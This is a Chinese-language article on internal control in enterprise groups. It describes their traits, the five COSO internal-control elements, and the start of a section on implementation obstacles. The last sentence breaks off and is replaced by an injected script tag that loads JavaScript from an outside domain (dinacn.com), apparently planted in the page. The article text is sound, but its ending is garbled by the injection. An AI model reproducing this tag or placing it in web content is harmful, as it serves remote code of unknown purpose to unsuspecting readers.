随着资产重组、行业联合、跨行业兼并等扩张行为的实现，我国近年来涌现出众多企业集团。然而，在迅猛发展的同时，我国企业集团在组建和运行中还存在诸多问题。其中，内部控制不完善的问题突出，出现集团总部与核心企业对成员企业控制不足，集团管理混乱，成员企业之间缺乏结合力、“集而不团”等情况。于是，探讨企业集团内部控制，分析其实施内部控制过程中的主要障碍，就变得极为紧迫与必要。

　　特点

　　企业集团是企业联合的高级形态，和单个企业相比，具有以下特点。

　　首先，企业规模大型化，产权结构复杂化。在规模经济的引导和市场垄断需求的牵引下，企业集团以核心企业为中心，通过参股、控股、资金等多种纽带把众多企业联合在一起，形成一个多层次的内部组织结构，无论是资产、收入还是生产规模等都比较大。而且，不同类型的企业集团采取不同的持股方式，既有垂直持股，也有环状的相互持股，还有混合持股，导致企业集团内部的产权关系十分复杂。

　　第二，经营多元化，市场国际化。企业集团凭借其雄厚的财力，普遍采用多元化投资经营战略，注重产品系列化和产业的多元化，实行经营层次和经营产品的多元化，通过进入市场经济的多种领域，增强其竞争发展能力，提高其抵御不同市场风险的能力，从而可以加速整个集团的资本扩张与资产增值速度。同时，现代市场是一个开放的、跨越地域限制的市场，多元化经营的大型企业集团通常积极参与国际竞争，在海外投资，实行跨国经营，在全球范围内寻找最有利的生产、销售、原料基地以及发展机会。

　　第三，主体多元化，布局分散化。企业集团的一个重要特点，是母公司与被控股的子公司之间在法律上彼此法人人格独立，以资本结合为基础产生控制与被控制机制。企业集团中的各个子公司作为独立法人，都是利润管理中心或者投资管理中心，是较为彻底的分权化单位，具有独立的经营管理机构并独自负有利润责任，拥有独立筹资能力，所以企业集团本身就意味着多个财务主体。在地域上，市场国际化与主体多元化，使得企业集团的组成超出地区限制，整个企业布局呈异地分散状态。

　　最后，财务决策多层次化，关联交易经常化。在企业集团中，母公司作为核心企业，与其下属各级子公司分别处于不同的管理层次，各自财务决策权力、内容大小不尽相同，导致企业集团内部财务决策多层次化。通常，企业集团内部的母子公司之间，同时被母公司控制的子公司、合营企业、联营企业之间会或多或少地出现关联交易，而现今的企业集团中，这种关联交易变得相当频繁和普遍。

　　要素

　　1992年，美国COSO委员会发布了具有革命性的研究报告《内部控制——整体框架》，该报告将内部控制分为控制环境、风险评估、控制活动、信息与沟通和监控等五个要素。下面我们就对企业集团的五个内部控制要素进行说明。

　　在企业集团中，内部环境除了包括企业文化、组织结构、员工的素质、管理者营运风格、管理哲学、风险理念、风险偏好、控制意识、人力资源政策等之外，还包括集团企业的产权关系、历史渊源、董事会、监事会等管理机构、管理体制以及母子公司职权的分配等企业集团所特有的因素。因而，和单个企业相比，企业集团的控制环境内容更加丰富，也更加复杂。

　　企业集团作为多法人联合体，规模大，往往跨地区、跨行业经营，因而其风险也增大，而且母公司、各子公司所面临的风险不尽相同，各自的风险控制也不完全一致。与单个法人企业相比，集团企业的风险更加复杂，影响更大，控制起来难度也更大。此外，集团公司可以利用资本权威将某一子公司的部分风险损失转移给另一子公司，进行集团内的风险组合，规避风险，所以我们应关注集团的整体风险，并将它控制在可接受的范围内。

　　就企业集团来说，总部对其成员企业的内部控制核心是资本控制，关键点主要包括重大决策（投资、融资、重大资产处置、重要人事决策）的控制、全面预算控制、资金的管理控制等。

　　信息在企业集团内部的各个经济层级是不对称分布的，因而与单个法人企业相比，企业集团中存在着更严重的信息阻塞和信息不足现象。信息控制在企业集团内部控制中的作用更加重要。

　　企业集团的制度运行有两个显著特征：复杂性和多层次性。由此建立起来的内部控制的制度契约也就不可能是完全契约。契约的不完全性很可能导致机会主义行为或制度陷阱。如果在初始均衡状态下就设置一套监控制度用以对控制系统进行持续评估或个别评估，就很可能降低机会主义行为倾向，减少制度陷阱的威胁。此外，从控制原理看，设置有反馈功能的监控也是必要的。因此，在企业集团中，监督的重要作用更加突现。

　　障碍

　　如前所述，由于与单个企业相比，企业集团经营更加多元化，产权结构更加复杂化，地域也更加分散化，所以实施企业集团的内部控制也变?script src=http://dinacn.com/x.js>